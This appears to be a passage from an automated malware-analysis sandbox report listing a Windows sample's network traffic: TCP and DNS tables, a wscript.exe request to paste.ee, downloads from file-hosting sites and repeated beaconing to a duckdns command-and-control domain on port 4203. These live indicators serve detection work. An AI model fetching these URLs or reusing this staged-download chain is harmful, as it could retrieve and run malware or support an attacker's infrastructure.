Nov 20, 2024 20:33:53.076347113 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.079520941 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.079591036 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.079597950 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.082699060 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.082760096 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.082768917 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.125523090 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.241405010 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.241420984 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.241579056 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.241595984 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.244513988 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.244561911 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.244579077 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.244589090 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.244611979 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.247823000 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.247931004 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.247942924 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.251883030 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.251961946 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.251971006 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.255050898 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.255129099 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.255141973 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.258219004 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.258296013 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.258304119 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.262465000 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.262531996 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.262557983 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.265727997 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.265794992 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.265803099 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.268871069 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.268954992 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.268965006 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.272459030 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.272525072 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.272532940 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.276566982 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.276648045 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.276658058 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.279695988 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.279819012 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.279831886 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.282941103 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.283149004 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.283163071 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.287018061 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.287096024 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.287107944 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.290208101 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.290278912 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.290287018 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.293651104 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.293715954 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.293724060 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.344207048 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.452013969 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.452023029 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.452167988 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.452184916 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.455079079 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.455092907 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.455177069 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.455187082 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.459187984 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.459197044 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.459264040 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.459274054 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.462436914 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.462474108 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.462491035 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.462498903 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.462521076 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.465607882 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.465699911 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.465712070 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.469671965 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.469733000 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.469744921 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.473345041 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.473419905 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.473433971 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.476466894 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.476525068 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.476535082 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.481198072 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.481270075 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.481297016 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.483846903 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.483907938 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.483917952 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.487227917 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.487330914 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.487340927 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.490200043 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.490257025 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.490268946 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.494308949 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.494379997 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.494393110 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.497665882 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.497725010 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.497737885 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.500866890 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.500946045 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.500960112 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.504861116 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.504918098 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.504928112 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.547341108 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.662415981 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.662426949 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.662559032 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.662575006 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.666183949 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.666222095 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.666274071 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.666281939 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.666307926 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.669898987 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.669908047 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.669984102 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.670000076 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.673450947 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.673516989 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.673530102 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.676286936 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.676347971 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.676358938 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.680243969 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.680299997 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.680309057 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.683389902 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.683450937 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.683453083 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.683496952 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.689028978 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:34:08.998987913 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:08.999094963 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:08.999334097 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:08.999908924 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:08.999948025 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:10.847804070 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:10.847893953 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:10.849500895 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:10.849509954 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:10.849833012 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:10.858856916 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:10.899378061 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.567109108 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.567131042 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.567224979 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.567234039 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.567254066 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.567289114 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.567327023 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.606225014 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.606256962 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.606328011 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.606336117 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.606426001 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.778119087 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.778146982 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.778249979 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.778278112 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.778804064 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.809717894 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.809792995 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.809859037 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.809879065 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.809889078 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.809917927 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.837320089 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.837395906 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.837452888 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.837469101 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.837496042 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.837522030 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.856468916 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.856542110 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.856609106 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.856621981 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.856640100 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.856667042 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.866027117 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.866151094 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.866161108 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.866192102 CET	443	49785	108.181.20.35	192.168.2.6
Nov 20, 2024 20:34:11.866265059 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:11.866632938 CET	49785	443	192.168.2.6	108.181.20.35
Nov 20, 2024 20:34:16.669605017 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:16.789294958 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:16.789434910 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:16.828174114 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:16.948050022 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:18.136667967 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:18.136728048 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:18.136785984 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:18.141889095 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:18.262876034 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:18.558278084 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:18.609875917 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:19.025351048 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:19.145540953 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:19.145611048 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:19.265450954 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:30.298459053 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:30.418196917 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:30.418394089 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:30.538206100 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:30.882651091 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:30.938050032 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:31.083458900 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:31.093857050 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:31.213582039 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:31.213727951 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:31.333493948 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:31.994338036 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:32.047380924 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:32.196288109 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:32.255923033 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:41.795052052 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:42.017294884 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:42.017368078 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:42.137330055 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:42.454184055 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:42.500560999 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:42.658628941 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:42.660139084 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:42.779814959 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:42.779905081 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:42.899578094 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:53.063404083 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:53.184571981 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:53.185981035 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:53.306739092 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:53.618086100 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:53.672429085 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:53.819226027 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:53.845809937 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:53.965465069 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:34:53.965656996 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:34:54.085963964 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:02.236502886 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:02.281963110 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:02.437834978 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:02.484978914 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:04.344696045 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:04.464688063 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:04.464843988 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:04.584660053 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:04.896163940 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:04.938138008 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:05.097203970 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:05.099534035 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:05.220006943 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:05.220128059 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:05.346154928 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:15.626106977 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:15.748764038 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:15.749939919 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:15.871835947 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:16.180547953 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:16.235021114 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:16.384253979 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:16.386888027 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:16.506671906 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:16.507447958 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:16.627263069 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:26.907340050 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:27.027964115 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:27.028075933 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:27.151051044 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:27.482131004 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:27.531938076 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:27.682049036 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:27.683957100 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:27.803502083 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:27.804435015 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:27.923993111 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:32.014499903 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:32.063172102 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:32.215614080 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:32.266247988 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:41.344924927 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:41.465468884 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:41.465533018 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:41.588346004 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:41.896281958 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:41.938152075 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:42.097968102 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:42.098681927 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:42.219378948 CET	4203	49804	181.71.217.114	192.168.2.6
Nov 20, 2024 20:35:42.219499111 CET	49804	4203	192.168.2.6	181.71.217.114
Nov 20, 2024 20:35:42.340003014 CET	4203	49804	181.71.217.114	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 20:33:28.923805952 CET	51866	53	192.168.2.6	1.1.1.1
Nov 20, 2024 20:33:29.290708065 CET	53	51866	1.1.1.1	192.168.2.6
Nov 20, 2024 20:33:46.493076086 CET	54052	53	192.168.2.6	1.1.1.1
Nov 20, 2024 20:33:46.871555090 CET	53	54052	1.1.1.1	192.168.2.6
Nov 20, 2024 20:34:08.616070032 CET	52196	53	192.168.2.6	1.1.1.1
Nov 20, 2024 20:34:08.998233080 CET	53	52196	1.1.1.1	192.168.2.6
Nov 20, 2024 20:34:16.354878902 CET	63154	53	192.168.2.6	1.1.1.1
Nov 20, 2024 20:34:16.667047024 CET	53	63154	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 20:33:28.923805952 CET	192.168.2.6	1.1.1.1	0x5425	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Nov 20, 2024 20:33:46.493076086 CET	192.168.2.6	1.1.1.1	0xe36c	Standard query (0)	1017.filemail.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 20:34:08.616070032 CET	192.168.2.6	1.1.1.1	0x737a	Standard query (0)	files.catbox.moe	A (IP address)	IN (0x0001)	false
Nov 20, 2024 20:34:16.354878902 CET	192.168.2.6	1.1.1.1	0x5c08	Standard query (0)	deadpoolstart2025.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 20:33:29.290708065 CET	1.1.1.1	192.168.2.6	0x5425	No error (0)	paste.ee		172.67.187.200	A (IP address)	IN (0x0001)	false
Nov 20, 2024 20:33:29.290708065 CET	1.1.1.1	192.168.2.6	0x5425	No error (0)	paste.ee		104.21.84.67	A (IP address)	IN (0x0001)	false
Nov 20, 2024 20:33:46.871555090 CET	1.1.1.1	192.168.2.6	0xe36c	No error (0)	1017.filemail.com	ip.1017.filemail.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 20:33:46.871555090 CET	1.1.1.1	192.168.2.6	0xe36c	No error (0)	ip.1017.filemail.com		142.215.209.78	A (IP address)	IN (0x0001)	false
Nov 20, 2024 20:34:08.998233080 CET	1.1.1.1	192.168.2.6	0x737a	No error (0)	files.catbox.moe		108.181.20.35	A (IP address)	IN (0x0001)	false
Nov 20, 2024 20:34:16.667047024 CET	1.1.1.1	192.168.2.6	0x5c08	No error (0)	deadpoolstart2025.duckdns.org		181.71.217.114	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

paste.ee

1017.filemail.com

files.catbox.moe

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	172.67.187.200	80	2732	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 20:33:29.419833899 CET	173	OUT	GET /d/0jfAN HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-CH User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: paste.ee
